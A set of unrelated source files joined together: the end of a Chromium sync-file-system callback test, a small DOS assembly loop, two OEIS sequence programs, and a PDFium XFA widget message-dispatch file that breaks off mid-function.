base::ThreadTaskRunnerHandle::Get();
scoped_refptr<base::SequencedTaskRunner> worker_task_runner =
thread.task_runner();
bool called = false;
base::RunLoop run_loop;
worker_task_runner->PostTask(
FROM_HERE, RelayCallbackToTaskRunner(
ui_task_runner.get(), FROM_HERE,
base::Bind(&VerifyCalledOnTaskRunner,
base::RetainedRef(ui_task_runner), &called)));
worker_task_runner->PostTask(
FROM_HERE,
RelayCallbackToTaskRunner(
ui_task_runner.get(), FROM_HERE, run_loop.QuitClosure()));
run_loop.Run();
EXPECT_TRUE(called);
thread.Stop();
base::RunLoop().RunUntilIdle();
}
TEST(DriveBackendCallbackHelperTest, PassNullFunctionTest) {
base::test::SingleThreadTaskEnvironment task_environment;
base::Closure closure = RelayCallbackToCurrentThread(
FROM_HERE,
base::Closure());
EXPECT_TRUE(closure.is_null());
}
} // namespace drive_backend
} // namespace sync_file_system
|
; solution developed by https://github.com/PySaqib
[org 0x0100]
mov ax, 0 ; setting AX to 0.
mov cx, 20 ; the number of times we want the loop to run.
l1: ; main loop
add ax, 20 ; adding our number.
loop l1 ; looping directive
; this does --cx and then jumps to l1
mov ax, 0x4c00 ; exit.
int 0x21
|
; A304380: a(n) = 36*n^2 - 4*n (n>=1).
; 32,136,312,560,880,1272,1736,2272,2880,3560,4312,5136,6032,7000,8040,9152,10336,11592,12920,14320,15792,17336,18952,20640,22400,24232,26136,28112,30160,32280,34472,36736,39072,41480,43960,46512,49136,51832,54600,57440,60352,63336,66392,69520,72720,75992,79336,82752,86240,89800,93432,97136,100912,104760,108680,112672,116736,120872,125080,129360,133712,138136,142632,147200,151840,156552,161336,166192,171120,176120,181192,186336,191552,196840,202200,207632,213136,218712,224360,230080,235872,241736,247672,253680,259760,265912,272136,278432,284800,291240,297752,304336,310992,317720,324520,331392,338336,345352,352440,359600
mul $0,9
add $0,9
bin $0,2
div $0,9
mul $0,8
|
; A192972: Coefficient of x in the reduction by x^2 -> x+1 of the polynomial p(n,x) defined at Comments.
; 0,1,3,12,33,77,160,309,567,1004,1733,2937,4912,8137,13387,21916,35753,58181,94512,153341,248575,402716,652173,1055857,1709088,2766097,4476435,7243884,11721777,18967229,30690688,49659717,80352327,130014092,210368597,340385001,550756048,891143641,1441902427,2333048956,3774954425,6108006581,9882964368,15990974477,25873942543,41864920892,67738867485,109603792609,177342664512,286946461729,464289131043,751235597772,1215524734017,1966760337197,3182285076832,5149045419861,8331330502743,13480375928876
lpb $0
sub $0,1
seq $2,192971 ; Constant term of the reduction by x^2 -> x+1 of the polynomial p(n,x) defined at Comments.
add $1,$2
mov $2,$0
lpe
mov $0,$1
|
// Copyright 2014 PDFium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Original code copyright 2014 Foxit Software Inc. http://www.foxitsoftware.com
#include "xfa/src/foxitlib.h"
#include "xfa/src/fwl/src/core/include/fwl_targetimp.h"
#include "xfa/src/fwl/src/core/include/fwl_widgetimp.h"
#include "xfa/src/fwl/src/core/include/fwl_widgetmgrimp.h"
#include "xfa/src/fwl/src/core/include/fwl_panelimp.h"
#include "xfa/src/fwl/src/core/include/fwl_formimp.h"
#include "xfa/src/fwl/src/core/include/fwl_noteimp.h"
#include "xfa/src/fwl/src/core/include/fwl_threadimp.h"
#include "xfa/src/fwl/src/core/include/fwl_appimp.h"
#include "xfa/src/fwl/src/basewidget/include/fwl_tooltipctrlimp.h"
CFWL_NoteLoop::CFWL_NoteLoop(CFWL_WidgetImp* pForm)
: m_pForm(pForm), m_bContinueModal(TRUE) {}
FX_BOOL CFWL_NoteLoop::PreProcessMessage(CFWL_Message* pMessage) {
if (!m_pForm) {
return FALSE;
}
return TranslateAccelerator(pMessage);
}
FWL_ERR CFWL_NoteLoop::Idle(int32_t count) {
#if (_FX_OS_ == _FX_WIN32_DESKTOP_)
if (count <= 0)
#endif
{
CFWL_EvtIdle ev;
IFWL_App* pApp = FWL_GetApp();
if (!pApp)
return FWL_ERR_Indefinite;
IFWL_NoteDriver* pDriver = pApp->GetNoteDriver();
if (!pDriver)
return FWL_ERR_Indefinite;
pDriver->SendNote(&ev);
}
return FWL_ERR_Indefinite;
}
CFWL_WidgetImp* CFWL_NoteLoop::GetForm() {
return m_pForm;
}
FX_BOOL CFWL_NoteLoop::ContinueModal() {
return m_bContinueModal;
}
FWL_ERR CFWL_NoteLoop::EndModalLoop() {
m_bContinueModal = FALSE;
#if (_FX_OS_ == _FX_MACOSX_)
CFWL_WidgetMgr* pWidgetMgr = static_cast<CFWL_WidgetMgr*>(FWL_GetWidgetMgr());
IFWL_AdapterWidgetMgr* adapterWidgetMgr = pWidgetMgr->GetAdapterWidgetMgr();
adapterWidgetMgr->EndLoop();
#endif
return FWL_ERR_Succeeded;
}
FX_BOOL CFWL_NoteLoop::TranslateAccelerator(CFWL_Message* pMessage) {
if (pMessage->GetClassID() != FWL_MSGHASH_Key) {
return FALSE;
}
CFWL_MsgKey* pMsgKey = static_cast<CFWL_MsgKey*>(pMessage);
if (pMsgKey->m_dwCmd != FWL_MSGKEYCMD_KeyDown) {
return FALSE;
}
CFX_MapAccelerators& accel =
static_cast<CFWL_FormImp*>(m_pForm)->GetAccelerator();
FX_POSITION pos = accel.GetStartPosition();
if (!pos) {
return FALSE;
}
FX_DWORD vrKey, rValue;
while (pos) {
accel.GetNextAssoc(pos, vrKey, rValue);
FX_DWORD dwFlags = (vrKey & 0xFF00) >> 8;
FX_DWORD m_dwKeyCode = vrKey & 0x00FF;
if (pMsgKey->m_dwFlags == dwFlags && pMsgKey->m_dwKeyCode == m_dwKeyCode) {
GenerateCommondEvent(rValue);
return TRUE;
}
}
return FALSE;
}
FWL_ERR CFWL_NoteLoop::SetMainForm(CFWL_WidgetImp* pForm) {
m_pForm = pForm;
return FWL_ERR_Succeeded;
}
void CFWL_NoteLoop::GenerateCommondEvent(FX_DWORD dwCommand) {
CFWL_EvtMenuCommand ev;
ev.m_iCommand = dwCommand;
IFWL_NoteThread* pThread = m_pForm->GetOwnerThread();
if (!pThread)
return;
IFWL_NoteDriver* pDriver = pThread->GetNoteDriver();
if (!pDriver)
return;
pDriver->SendNote(&ev);
}
CFWL_NoteDriver::CFWL_NoteDriver()
: m_sendEventCalled(0),
m_maxSize(500),
m_bFullScreen(FALSE),
m_pHover(nullptr),
m_pFocus(nullptr),
m_pGrab(nullptr),
m_hook(nullptr) {
m_pNoteLoop = new CFWL_NoteLoop;
PushNoteLoop(m_pNoteLoop);
}
CFWL_NoteDriver::~CFWL_NoteDriver() {
delete m_pNoteLoop;
ClearInvalidEventTargets(TRUE);
}
FX_BOOL CFWL_NoteDriver::SendNote(CFWL_Note* pNote) {
if (pNote->IsEvent()) {
int32_t iCount = m_eventTargets.GetCount();
if (iCount < 1) {
return TRUE;
}
if (FWL_EVTHASH_Mouse == static_cast<CFWL_Event*>(pNote)->GetClassID()) {
CFWL_EvtMouse* pMouse = static_cast<CFWL_EvtMouse*>(pNote);
if (FWL_MSGMOUSECMD_MouseHover == pMouse->m_dwCmd) {
if (m_pNoteLoop->GetForm() &&
CFWL_ToolTipContainer::getInstance()->ProcessEnter(
pMouse, m_pNoteLoop->GetForm()->GetInterface())) {
}
} else if (FWL_MSGMOUSECMD_MouseLeave == pMouse->m_dwCmd) {
if (CFWL_ToolTipContainer::getInstance()->ProcessLeave(pMouse)) {
}
} else if ((FWL_MSGMOUSECMD_LButtonDown <= pMouse->m_dwCmd) &&
(FWL_MSGMOUSECMD_MButtonDblClk >= pMouse->m_dwCmd)) {
if (CFWL_ToolTipContainer::getInstance()->ProcessLeave(pMouse)) {
}
}
}
m_sendEventCalled++;
FX_POSITION pos = m_eventTargets.GetStartPosition();
while (pos) {
void* key = NULL;
CFWL_EventTarget* pEventTarget;
m_eventTargets.GetNextAssoc(pos, key, (void*&)pEventTarget);
if (pEventTarget && !pEventTarget->IsInvalid()) {
pEventTarget->ProcessEvent(static_cast<CFWL_Event*>(pNote));
}
}
m_sendEventCalled--;
} else {
if (!pNote->m_pDstTarget)
return FALSE;
IFWL_WidgetDelegate* pDelegate = pNote->m_pDstTarget->SetDelegate(NULL);
if (pDelegate) {
pDelegate->OnProcessMessage(static_cast<CFWL_Message*>(pNote));
}
}
return TRUE;
}
extern void FWL_PostMessageToMainRoop(CFWL_Message* pMessage);
FX_BOOL CFWL_NoteDriver::PostMessage(CFWL_Message* pMessage) {
FWL_PostMessageToMainRoop(pMessage);
return TRUE;
}
#define FWL_NoteDriver_EventKey 1100
FWL_ERR CFWL_NoteDriver::RegisterEventTarget(IFWL_Widget* pListener,
IFWL_Widget* pEventSource,
FX_DWORD dwFilter) {
FX_DWORD dwkey = (FX_DWORD)(uintptr_t)pListener->GetPrivateData(
(void*)(uintptr_t)FWL_NoteDriver_EventKey);
if (dwkey == 0) {
void* random = FX_Random_MT_Start(0);
dwkey = rand();
FX_Random_MT_Close(random);
pListener->SetPrivateData((void*)(uintptr_t)FWL_NoteDriver_EventKey,
(void*)(uintptr_t)dwkey, NULL);
}
CFWL_EventTarget* value = NULL;
if (!m_eventTargets.Lookup((void*)(uintptr_t)dwkey, (void*&)value)) {
value = new CFWL_EventTarget(this, pListener);
m_eventTargets.SetAt((void*)(uintptr_t)dwkey, value);
}
value->SetEventSource(pEventSource, dwFilter);
return FWL_ERR_Succeeded;
}
FWL_ERR CFWL_NoteDriver::UnregisterEventTarget(IFWL_Widget* pListener) {
FX_DWORD dwkey = (FX_DWORD)(uintptr_t)pListener->GetPrivateData(
(void*)(uintptr_t)FWL_NoteDriver_EventKey);
if (dwkey == 0) {
return FWL_ERR_Indefinite;
}
CFWL_EventTarget* value = NULL;
if (m_eventTargets.Lookup((void*)(uintptr_t)dwkey, (void*&)value)) {
value->FlagInvalid();
}
return FWL_ERR_Succeeded;
}
void CFWL_NoteDriver::ClearEventTargets(FX_BOOL bRemoveAll) {
ClearInvalidEventTargets(bRemoveAll);
}
int32_t CFWL_NoteDriver::GetQueueMaxSize() const {
return m_maxSize;
}
FWL_ERR CFWL_NoteDriver::SetQueueMaxSize(const int32_t size) {
m_maxSize = size;
return FWL_ERR_Succeeded;
}
IFWL_NoteThread* CFWL_NoteDriver::GetOwnerThread() const {
return FWL_GetApp();
}
FWL_ERR CFWL_NoteDriver::PushNoteLoop(IFWL_NoteLoop* pNoteLoop) {
m_noteLoopQueue.Add(pNoteLoop);
return FWL_ERR_Succeeded;
}
IFWL_NoteLoop* CFWL_NoteDriver::PopNoteLoop() {
int32_t pos = m_noteLoopQueue.GetSize();
if (pos <= 0)
return NULL;
IFWL_NoteLoop* p =
static_cast<IFWL_NoteLoop*>(m_noteLoopQueue.GetAt(pos - 1));
m_noteLoopQueue.RemoveAt(pos - 1);
return p;
}
FX_BOOL CFWL_NoteDriver::SetFocus(IFWL_Widget* pFocus, FX_BOOL bNotify) {
if (m_pFocus == pFocus) {
return TRUE;
}
IFWL_Widget* pPrev = m_pFocus;
m_pFocus = pFocus;
if (pPrev) {
CFWL_MsgKillFocus ms;
ms.m_pDstTarget = pPrev;
ms.m_pSrcTarget = pPrev;
if (bNotify) {
ms.m_dwExtend = 1;
}
IFWL_WidgetDelegate* pDelegate = pPrev->SetDelegate(NULL);
if (pDelegate) {
pDelegate->OnProcessMessage(&ms);
}
}
if (pFocus) {
IFWL_Widget* pWidget =
FWL_GetWidgetMgr()->GetWidget(pFocus, FWL_WGTRELATION_SystemForm);
CFWL_FormImp* pForm =
pWidget ? static_cast<CFWL_FormImp*>(pWidget->GetImpl()) : nullptr;
if (pForm) {
CFWL_WidgetImp* pNewFocus =
static_cast<CFWL_WidgetImp*>(pFocus->GetImpl());
pForm->SetSubFocus(pNewFocus);
}
CFWL_MsgSetFocus ms;
ms.m_pDstTarget = pFocus;
if (bNotify) {
ms.m_dwExtend = 1;
}
IFWL_WidgetDelegate* pDelegate = pFocus->SetDelegate(NULL);
if (pDelegate) {
pDelegate->OnProcessMessage(&ms);
}
}
return TRUE;
}
FWL_ERR CFWL_NoteDriver::Run() {
CFWL_WidgetMgr* pWidgetMgr = static_cast<CFWL_WidgetMgr*>(FWL_GetWidgetMgr());
if (!pWidgetMgr)
return FWL_ERR_Indefinite;
#if (_FX_OS_ == _FX_MACOSX_)
IFWL_AdapterWidgetMgr* adapterWidgetMgr = pWidgetMgr->GetAdapterWidgetMgr();
CFWL_NoteLoop* pTopLoop = GetTopLoop();
if (pTopLoop) {
CFWL_WidgetImp* formImp = pTopLoop->GetForm();
if (formImp) {
IFWL_Widget* pForm = formImp->GetInterface();
adapterWidgetMgr->RunLoop(pForm);
}
}
#elif(_FX_OS_ == _FX_WIN32_DESKTOP_ || _FX_OS_ == _FX_WIN64_)
FX_BOOL bIdle = TRUE;
int32_t iIdleCount = 0;
CFWL_NoteLoop* pTopLoop = NULL;
for (;;) {
pTopLoop = GetTopLoop();
if (!pTopLoop || !pTopLoop->ContinueModal()) {
break;
}
if (UnqueueMessage(pTopLoop)) {
continue;
}
while (bIdle && !(pWidgetMgr->CheckMessage_Native())) {
if (FWL_ERR_Indefinite == pTopLoop->Idle(iIdleCount++)) {
bIdle = FALSE;
}
}
do {
if (FWL_ERR_Indefinite == pWidgetMgr->DispatchMessage_Native()) {
break;
}
if (pWidgetMgr->IsIdleMessage_Native()) {
bIdle = TRUE;
iIdleCount = 0;
}
} while (pWidgetMgr->CheckMessage_Native());
}
#elif(_FX_OS_ == _FX_LINUX_DESKTOP_)
CFWL_NoteLoop* pTopLoop = NULL;
for (;;) {
pTopLoop = GetTopLoop();
if (!pTopLoop || !pTopLoop->ContinueModal()) {
break;
}
if (UnqueueMessage(pTopLoop)) {
continue;
}
if (pWidgetMgr->CheckMessage_Native()) {
pWidgetMgr->DispatchMessage_Native();
}
}
#endif
return FWL_ERR_Succeeded;
}
IFWL_Widget* CFWL_NoteDriver::GetFocus() {
return m_pFocus;
}
IFWL_Widget* CFWL_NoteDriver::GetHover() {
return m_pHover;
}
void CFWL_NoteDriver::SetHover(IFWL_Widget* pHover) {
m_pHover = pHover;
}
void CFWL_NoteDriver::SetGrab(IFWL_Widget* pGrab, FX_BOOL bSet) {
m_pGrab = bSet ? pGrab : NULL;
}
void CFWL_NoteDriver::NotifyTargetHide(IFWL_Widget* pNoteTarget) {
if (m_pFocus == pNoteTarget) {
m_pFocus = NULL;
}
if (m_pHover == pNoteTarget) {
m_pHover = NULL;
}
if (m_pGrab == pNoteTarget) {
m_pGrab = NULL;
}
}
void CFWL_NoteDriver::NotifyTargetDestroy(IFWL_Widget* pNoteTarget) {
if (m_pFocus == pNoteTarget) {
m_pFocus = NULL;
}
if (m_pHover == pNoteTarget) {
m_pHover = NULL;
}
if (m_pGrab == pNoteTarget) {
m_pGrab = NULL;
}
UnregisterEventTarget(pNoteTarget);
int32_t count = m_forms.GetSize();
for (int32_t nIndex = 0; nIndex < count; nIndex++) {
CFWL_FormImp* pForm = static_cast<CFWL_FormImp*>(m_forms[nIndex]);
if (!pForm) {
continue;
}
CFWL_WidgetImp* pSubFocus = pForm->GetSubFocus();
if (!pSubFocus)
return;
if (pSubFocus && pSubFocus->GetInterface() == pNoteTarget) {
pForm->SetSubFocus(NULL);
}
}
}
void CFWL_NoteDriver::NotifyFullScreenMode(IFWL_Widget* pNoteTarget,
FX_BOOL bFullScreen) {
m_bFullScreen = bFullScreen;
}
FWL_ERR CFWL_NoteDriver::RegisterForm(CFWL_WidgetImp* pForm) {
if (!pForm)
return FWL_ERR_Indefinite;
if (m_forms.Find(pForm) >= 0) {
return FWL_ERR_Indefinite;
}
m_forms.Add(pForm);
if (m_forms.GetSize() == 1) {
CFWL_NoteLoop* pLoop =
static_cast<CFWL_NoteLoop*>(m_noteLoopQueue.GetAt(0));
if (!pLoop)
return FWL_ERR_Indefinite;
pLoop->SetMainForm(pForm);
}
return FWL_ERR_Succeeded;
}
FWL_ERR CFWL_NoteDriver::UnRegisterForm(CFWL_WidgetImp* pForm) {
if (!pForm)
return FWL_ERR_Indefinite;
int32_t nIndex = m_forms.Find(pForm);
if (nIndex < 0) {
return FWL_ERR_Indefinite;
}
m_forms.RemoveAt(nIndex);
return FWL_ERR_Succeeded;
}
FX_BOOL CFWL_NoteDriver::QueueMessage(CFWL_Message* pMessage) {
pMessage->Retain();
m_noteQueue.Add(pMessage);
return TRUE;
}
FX_BOOL CFWL_NoteDriver::UnqueueMessage(CFWL_NoteLoop* pNoteLoop) {
if (m_noteQueue.GetSize() < 1) {
return FALSE;
}
CFWL_Message* pMessage = static_cast<CFWL_Message*>(m_noteQueue[0]);
m_noteQueue.RemoveAt(0);
if (!IsValidMessage(pMessage)) {
pMessage->Release();
return TRUE;
}
FX_BOOL bHookMessage = FALSE;
if (m_hook) {
bHookMessage = (*m_hook)(pMessage, m_hookInfo);
}
if (!bHookMessage && !pNoteLoop->PreProcessMessage(pMessage)) {
ProcessMessage(pMessage);
}
pMessage->Release();
return TRUE;
}
CFWL_NoteLoop* CFWL_NoteDriver::GetTopLoop() {
int32_t size = m_noteLoopQueue.GetSize();
if (size <= 0)
return NULL;
return static_cast<CFWL_NoteLoop*>(m_noteLoopQueue[size - 1]);
}
int32_t CFWL_NoteDriver::CountLoop() {
return m_noteLoopQueue.GetSize();
}
void CFWL_NoteDriver::SetHook(FWLMessageHookCallback callback, void* info) {
m_hook = callback;
m_hookInfo = info;
}
FX_BOOL CFWL_NoteDriver::ProcessMessage(CFWL_Message* pMessage) {
CFWL_WidgetMgr* pWidgetMgr = static_cast<CFWL_WidgetMgr*>(FWL_GetWidgetMgr());
IFWL_Widget* pMessageForm = pWidgetMgr->IsFormDisabled()
? pMessage->m_pDstTarget
: GetMessageForm(pMessage->m_pDstTarget);
if (!pMessageForm)
return FALSE;
if (DispatchMessage(pMessage, pMessageForm)) {
if (pMessage->GetClassID() == FWL_MSGHASH_Mouse) {
MouseSecondary(static_cast<CFWL_MsgMouse*>(pMessage));
}
return TRUE;
}
return FALSE;
}
FX_BOOL CFWL_NoteDriver::DispatchMessage(CFWL_Message* pMessage,
IFWL_Widget* pMessageForm) {
FX_BOOL bRet = FALSE;
switch (pMessage->GetClassID()) {
case FWL_MSGHASH_Activate: {
bRet = DoActivate(static_cast<CFWL_MsgActivate*>(pMessage), pMessageForm);
break;
}
case FWL_MSGHASH_Deactivate: {
bRet = DoDeactivate(static_cast<CFWL_MsgDeactivate*>(pMessage),
pMessageForm);
break;
}
case FWL_MSGHASH_SetFocus: {
bRet = DoSetFocus(static_cast<CFWL_MsgSetFocus*>(pMessage), pMessageForm);
break;
}
case FWL_MSGHASH_KillFocus: {
bRet =
DoKillFocus(static_cast<CFWL_MsgKillFocus*>(pMessage), pMessageForm);
break;
}
case FWL_MSGHASH_Key: {
bRet = DoKey(static_cast<CFWL_MsgKey*>(pMessage), pMessageForm);
break;
}
case FWL_MSGHASH_Mouse: {
bRet = DoMouse(static_cast<CFWL_MsgMouse*>(pMessage), pMessageForm);
break;
}
case FWL_MSGHASH_MouseWheel: {
bRet = DoWheel(static_cast<CFWL_MsgMouseWheel*>(pMessage), pMessageForm);
break;
}
case FWL_MSGHASH_Size: {
bRet = DoSize(static_cast<CFWL_MsgSize*>(pMessage));
break;
}
case FWL_MSGHASH_Cursor: {
bRet = TRUE;
break;
}
case FWL_MSGHASH_WindowMove: {
bRet = DoWindowMove(static_cast<CFWL_MsgWindowMove*>(pMessage),
pMessageForm);
break;
}
case FWL_MSGHASH_DropFiles: {
bRet =
DoDragFiles(static_cast<CFWL_MsgDropFiles*>(pMessage), pMessageForm);
break;
}
default: {
bRet = TRUE;
break;
}
}
if (bRet) {
IFWL_WidgetDelegate* pDelegate = pMessage->m_pDstTarget->SetDelegate(NULL);
if (pDelegate) {
pDelegate->OnProcessMessage(pMessage);
}
}
return bRet;
}
FX_BOOL CFWL_NoteDriver::DoActivate(CFWL_MsgActivate* pMsg,
IFWL_Widget* pMessageForm) {
if (m_bFullScreen) {
return FALSE;
}
pMsg->m_pDstTarget = pMessageForm;
return (pMsg->m_pDstTarget)->GetStates() & FWL_WGTSTATE_Deactivated;
}
FX_BOOL CFWL_NoteDriver::DoDeactivate(CFWL_MsgDeactivate* pMsg,
IFWL_Widget* pMessageForm) {
if (m_bFullScreen) {
return FALSE;
}
int32_t iTrackLoop = m_noteLoopQueue.GetSize();
if (iTrackLoop <= 0)
return FALSE;
if (iTrackLoop == 1) {
if (pMessageForm->IsInstance(FX_WSTRC(L"FWL_FORMPROXY"))) {
return FALSE;
}
if (pMsg->m_pSrcTarget &&
pMsg->m_pSrcTarget->IsInstance(FX_WSTRC(L"FWL_FORMPROXY"))) {
return FALSE;
}
if (pMsg->m_pSrcTarget && pMsg->m_pSrcTarget->GetClassID() == 1111984755) {
return FALSE;
}
return TRUE;
}
IFWL_Widget* pDst = pMsg->m_pDstTarget;
if (!pDst)
return FALSE;
#if (_FX_OS_ == _FX_MACOSX_)
if (pDst == pMessageForm && pDst->IsInstance(L"FWL_FORMPROXY")) {
return TRUE;
}
#endif
return pDst != pMessageForm &&
!pDst->IsInstance(FX_WSTRC(L"FWL_FORMPROXY")) &&
!pMessageForm->IsInstance(FX_WSTRC(L"FWL_FORMPROXY"));
}
FX_BOOL CFWL_NoteDriver::DoSetFocus(CFWL_MsgSetFocus* pMsg,
IFWL_Widget* pMessageForm) {
CFWL_WidgetMgr* pWidgetMgr = static_cast<CFWL_WidgetMgr*>(FWL_GetWidgetMgr());
if (pWidgetMgr->IsFormDisabled()) {
m_pFocus = pMsg->m_pDstTarget;
return TRUE;
} else {
IFWL_Widget* pWidget = pMsg->m_pDstTarget;
CFWL_FormImp* pForm =
pWidget ? static_cast<CFWL_FormImp*>(pWidget->GetImpl()) : nullptr;
if (pForm) {
CFWL_WidgetImp* pSubFocus = pForm->GetSubFocus();
if (pSubFocus && ((pSubFocus->GetStates() & FWL_WGTSTATE_Focused) == 0)) {
pMsg->m_pDstTarget = pSubFocus->GetInterface();
if (m_pFocus != pMsg->m_pDstTarget) {
m_pFocus = pMsg->m_pDstTarget;
return TRUE;
}
}
}
}
return FALSE;
}
FX_BOOL CFWL_NoteDriver::DoKillFocus(CFWL_MsgKillFocus* pMsg,
IFWL_Widget* pMessageForm) {
CFWL_WidgetMgr* pWidgetMgr = static_cast<CFWL_WidgetMgr*>(FWL_GetWidgetMgr());
if (pWidgetMgr->IsFormDisabled()) {
if (m_pFocus == pMsg->m_pDstTarget) {
m_pFocus = NULL;
}
return TRUE;
}
IFWL_Widget* pWidget = pMsg->m_pDstTarget;
CFWL_FormImp* pForm =
pWidget ? static_cast<CFWL_FormImp*>(pWidget->GetImpl()) : nullptr;
if (pForm) {
CFWL_WidgetImp* pSubFocus = pForm->GetSubFocus();
if (pSubFocus && (pSubFocus->GetStates() & FWL_WGTSTATE_Focused)) {
pMsg->m_pDstTarget = pSubFocus->GetInterface();
if (m_pFocus == pMsg->m_pDstTarget) {
m_pFocus = NULL;
return TRUE;
}
}
}
return FALSE;
}
FX_BOOL CFWL_NoteDriver::DoKey(CFWL_MsgKey* pMsg, IFWL_Widget* pMessageForm) {
#if (_FX_OS_ != _FX_MACOSX_)
if (pMsg->m_dwCmd == FWL_MSGKEYCMD_KeyDown &&
pMsg->m_dwKeyCode == FWL_VKEY_Tab) {
CFWL_WidgetMgr* pWidgetMgr =
static_cast<CFWL_WidgetMgr*>(FWL_GetWidgetMgr());
IFWL_Widget* pForm = GetMessageForm(pMsg->m_pDstTarget);
IFWL_Widget* pFocus = m_pFocus;
if (m_pFocus) {
if (pWidgetMgr->GetWidget(m_pFocus, FWL_WGTRELATION_SystemForm) !=
pForm) {
pFocus = NULL;
}
}
FX_BOOL bFind = FALSE;
IFWL_Widget* pNextTabStop = pWidgetMgr->nextTab(pForm, pFocus, bFind);
if (!pNextTabStop) {
bFind = FALSE;
pNextTabStop = pWidgetMgr->nextTab(pForm, NULL, bFind);
}
if (pNextTabStop == pFocus) {
return TRUE;
}
if (pNextTabStop) {
SetFocus(pNextTabStop);
}
return TRUE;
}
#endif
if (!m_pFocus) {
if (pMsg->m_dwCmd == FWL_MSGKEYCMD_KeyDown &&
pMsg->m_dwKeyCode == FWL_VKEY_Return) {
CFWL_WidgetMgr* pWidgetMgr =
static_cast<CFWL_WidgetMgr*>(FWL_GetWidgetMgr());
IFWL_Widget* defButton = pWidgetMgr->GetDefaultButton(pMessageForm);
if (defButton) {
pMsg->m_pDstTarget = defButton;
return TRUE;
}
}
return FALSE;
}
pMsg->m_pDstTarget = m_pFocus;
return TRUE;
}
FX_BOOL CFWL_NoteDriver::DoMouse(CFWL_MsgMouse* pMsg,
IFWL_Widget* pMessageForm) {
if (pMsg->m_dwCmd == FWL_MSGMOUSECMD_MouseLeave ||
pMsg->m_dwCmd == FWL_MSGMOUSECMD_MouseHover ||
pMsg->m_dwCmd == FWL_MSGMOUSECMD_MouseEnter) {
return pMsg->m_pDstTarget != NULL;
}
if (pMsg->m_pDstTarget != pMessageForm) {
pMsg->m_pDstTarget->TransformTo(pMessageForm, pMsg->m_fx, pMsg->m_fy);
}
if (!DoMouseEx(pMsg, pMessageForm)) {
pMsg->m_pDstTarget = pMessageForm;
}
return TRUE;
}
FX_BOOL CFWL_NoteDriver::DoWheel(CFWL_MsgMouseWheel* pMsg,
IFWL_Widget* pMessageForm) {
CFWL_WidgetMgr* pWidgetMgr = static_cast<CFWL_WidgetMgr*>(FWL_GetWidgetMgr());
if (!pWidgetMgr)
return FALSE;
IFWL_Widget* pDst =
pWidgetMgr->GetWidgetAtPoint(pMessageForm, pMsg->m_fx, pMsg->m_fy);
if (!pDst)
return FALSE;
while (pDst && pDst->GetClassID() == FWL_CLASSHASH_Grid) {
pDst = pDst->GetParent();
}
pMessageForm->TransformTo(pDst, pMsg->m_fx, pMsg->m_fy);
pMsg->m_pDstTarget = pDst;
return TRUE;
}
FX_BOOL CFWL_NoteDriver::DoSize(CFWL_MsgSize* pMsg) {
CFWL_WidgetMgr* pWidgetMgr = static_cast<CFWL_WidgetMgr*>(FWL_GetWidgetMgr());
if (!pWidgetMgr)
return FALSE;
pWidgetMgr->NotifySizeChanged(pMsg->m_pDstTarget, (FX_FLOAT)pMsg->m_iWidth,
(FX_FLOAT)pMsg->m_iHeight);
return TRUE;
}
FX_BOOL CFWL_NoteDriver::DoWindowMove(CFWL_MsgWindowMove* pMsg,
IFWL_Widget* pMessageForm) {
return pMsg->m_pDstTarget == pMessageForm;
}
FX_BOOL CFWL_NoteDriver::DoDragFiles(CFWL_MsgDropFiles* pMsg,
IFWL_Widget* pMessageForm) {
return pMsg->m_pDstTarget == pMessageForm;
}
FX_BOOL CFWL_NoteDriver::DoMouseEx(CFWL_MsgMouse* pMsg,
IFWL_Widget* pMessageForm) {
CFWL_WidgetMgr* pWidgetMgr = static_cast<CFWL_WidgetMgr*>(FWL_GetWidgetMgr());
if (!pWidgetMgr)
return FALSE;
IFWL_Widget* pTarget = NULL;
if (m_pGrab)
pTarget = m_pGrab;
if (!pTarget) {
pTarget =
pWidgetMgr->GetWidgetAtPoint(pMessageForm, pMsg->m_fx, pMsg->m_fy);
while (pTarget && pTarget->GetClassID() == FWL_CLASSHASH_Grid) {
pTarget = pTarget->GetParent();
}
}
if (pTarget) {
if (pMessageForm != pTarget) {
pMessageForm->TransformTo(pTarget, pMsg->m_fx, pMsg->m_fy);
}
}
if (!pTarget)
return FALSE;
pMsg->m_pDstTarget = pTarget;
return TRUE;
}
void CFWL_NoteDriver::MouseSecondary(CFWL_MsgMouse* pMsg) {
IFWL_Widget* pTarget = pMsg->m_pDstTarget;
if (pTarget == m_pHover) {
return;
}
if (m_pHover) {
CFWL_MsgMouse msLeave;
msLeave.m_pDstTarget = m_pHover;
msLeave.m_fx = pMsg->m_fx;
msLeave.m_fy = pMsg->m_fy;
pTarget->TransformTo(m_pHover, msLeave.m_fx, msLeave.m_fy);
msLeave.m_dwFlags = 0;
msLeave.m_dwCmd = FWL_MSGMOUSECMD_MouseLeave;
DispatchMessage(&msLeave, NULL);
}
if (pTarget->GetClassID() == FWL_CLASSHASH_Form) {
m_pHover = NULL;
return;
}
m_pHover = pTarget;
CFWL_MsgMouse msHover;
msHover.m_pDstTarget = pTarget;
msHover.m_fx = pMsg->m_fx;
msHover.m_fy = pMsg->m_fy;
msHover.m_dwFlags = 0;
msHover.m_dwCmd = FWL_MSGMOUSECMD_MouseHover;
DispatchMessage(&msHover, NULL);
}
FX_BOOL CFWL_NoteDriver::IsValidMessage(CFWL_Message* pMessage) {
if (pMessage->GetClassID() == FWL_MSGHASH_Post) {
return TRUE;
}
int32_t iCount = m_noteLoopQueue.GetSize();
for (int32_t i = 0; i < iCount; i++) {
CFWL_NoteLoop* pNoteLoop = static_cast<CFWL_NoteLoop*>(m_noteLoopQueue[i]);
CFWL_WidgetImp* pForm = pNoteLoop->GetForm();
if (pForm && (pForm->GetInterface() == pMessage->m_pDstTarget)) {
return TRUE;
}
}
iCount = m_forms.GetSize();
for (int32_t j = 0; j < iCount; j++) {
CFWL_FormImp* pForm = static_cast<CFWL_FormImp*>(m_forms[j]);
if (pForm->GetInterface() == pMessage->m_pDstTarget) {
return TRUE;
}
}
return FALSE;
}
IFWL_Widget* CFWL_NoteDriver::GetMessageForm(IFWL_Widget* pDstTarget) {
int32_t iTrackLoop = m_noteLoopQueue.GetSize();
if (iTrackLoop <= 0)
return NULL;
IFWL_Widget* pMessageForm = NULL;
if (iTrackLoop > 1) {
CFWL_NoteLoop* pNootLoop =
static_cast<CFWL_NoteLoop*>(m_noteLoopQueue[iTrackLoop - 1]);
pMessageForm = pNootLoop->GetForm()->GetInterface();
} else {
pMessageForm = (m_forms.Find(pDstTarget) < 0) ? NULL : pDstTarget;
}
if (!pMessageForm && pDstTarget) {
